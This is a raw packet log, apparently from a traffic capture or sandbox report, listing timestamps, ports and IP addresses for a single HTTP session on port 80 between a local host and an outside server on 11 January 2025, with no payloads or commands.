Jan 11, 2025 05:22:38.890077114 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.890084982 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:38.890089989 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.890104055 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.890115023 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.890141964 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:38.890162945 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:38.890912056 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.890923977 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.890934944 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.890960932 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:38.890964031 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.890976906 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.890983105 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.890995026 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.891009092 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:38.891779900 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.891820908 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:38.891825914 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.891839027 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.891881943 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.891886950 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:38.891894102 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.891905069 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.891916037 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.891937017 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:38.891959906 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:38.892739058 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.892771006 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.892776966 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.892796040 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.892806053 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.892812014 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:38.892818928 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.892832994 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.892848969 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:38.892869949 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:38.893641949 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.893654108 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.893666983 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.893693924 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.893695116 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:38.893707037 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.893709898 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:38.893719912 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.893732071 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.893740892 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:38.893763065 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:38.894639015 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.894651890 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.894661903 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.894671917 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.894684076 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.894694090 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:38.894695044 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.894706964 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.894725084 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:38.895410061 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.895495892 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:38.895575047 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.895586967 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.895596981 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.895623922 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:38.895633936 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.895646095 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.895657063 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.895668030 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.895684958 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:38.895694017 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:38.896450996 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.896471024 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.896529913 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:38.896811962 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:38.901118994 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:38.919331074 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.919354916 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.919368029 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.919387102 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:38.919399977 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:38.919423103 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.966242075 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.131875038 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.131905079 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.131917953 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.131943941 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.131984949 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.131997108 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.132009029 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.132019997 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.132030964 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.132042885 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.132052898 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.132055998 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.132066965 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.132070065 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.132102013 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.132153988 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.132189989 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.132217884 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.132301092 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.132313013 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.132323027 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.132328987 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.132333994 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.132339001 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.132347107 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.132370949 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.132486105 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.132503033 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.132514000 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.132527113 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.132530928 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.132544994 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.132553101 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.132556915 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.132569075 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.132580042 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.132581949 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.132591963 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.132607937 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.132636070 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.132666111 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.132678032 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.132688046 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.132699013 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.132714033 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.132735014 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.132853031 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.132863998 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.132875919 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.132885933 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.132896900 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.132898092 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.132941008 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.133038998 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.133050919 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.133061886 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.133071899 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.133081913 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.133088112 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.133094072 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.133105993 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.133116007 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.133121967 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.133127928 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.133138895 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.133148909 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.133152962 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.133162022 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.133172035 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.133172989 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.133183956 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.133187056 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.133196115 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.133215904 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.133239031 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.133541107 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.133553982 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.133563042 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.133574009 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.133584976 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.133591890 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.133613110 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.133692026 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.133703947 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.133714914 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.133735895 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.133759975 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.133836985 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.133848906 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.133858919 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.133872032 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.133883953 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.133910894 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.133975983 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.133987904 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.133999109 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.134007931 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.134017944 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.134031057 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.134042025 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.134074926 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.134150028 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.134164095 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.134175062 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.134186029 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.134196997 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.134207010 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.134210110 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.134233952 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.134265900 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.134299994 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.134311914 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.134322882 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.134351015 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.134454012 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.134465933 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.134478092 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.134489059 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.134495020 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.134519100 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.137120962 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.137162924 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.137355089 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.137367010 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.137377977 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.137408018 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.137507915 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.137522936 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.137533903 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.137543917 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.137550116 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.137557983 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.137568951 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.137576103 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.137581110 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.137613058 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.137626886 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.137650967 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.137665033 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.137675047 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.137696028 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.137830019 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.137842894 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.137871027 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.138365030 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.138394117 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.139055014 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.139066935 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.139077902 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.139089108 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.139100075 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.139110088 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.139112949 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.139122009 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.139132977 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.139144897 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.139152050 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.139170885 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.139194012 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.139354944 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.139367104 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.139378071 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.139410019 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.139481068 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.139497995 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.139508963 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.139518976 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.139525890 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.139530897 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.139542103 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.139544010 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.139566898 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.139574051 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.139586926 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.139600039 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.139606953 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.139611006 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.139622927 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.139631033 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.139633894 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.139646053 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.139656067 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.139656067 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.139667034 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.139678955 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.139689922 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.139697075 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.139700890 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.139713049 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.139723063 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.139724016 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.139739037 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.139760017 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.139770985 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.139782906 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.139784098 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.139796019 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.139806986 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.139816999 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.139828920 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.139839888 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.139841080 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.139851093 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.139869928 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.139882088 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.139883041 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.139893055 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.139903069 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.139909029 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.139914989 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.139925003 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.139930010 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.139939070 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.139946938 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.139951944 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.139965057 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.139967918 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.139976025 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.139986038 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.139996052 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.140006065 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.140007973 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.140017986 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.140028000 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.140038967 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.140047073 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.140047073 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.140049934 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.140063047 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.140073061 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.140075922 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.140095949 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.140106916 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.140116930 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.140120983 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.140153885 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.140158892 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.140173912 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.140176058 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.140187979 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.140198946 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.140208960 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.140212059 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.140232086 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.140239000 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.140244961 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.140255928 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.140273094 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.140281916 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.140285015 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.140300035 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.140311956 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.140314102 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.140325069 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.140327930 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.140336990 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.140348911 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:39.140352964 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:39.140364885 CET	80	49699	193.143.1.205	192.168.2.7
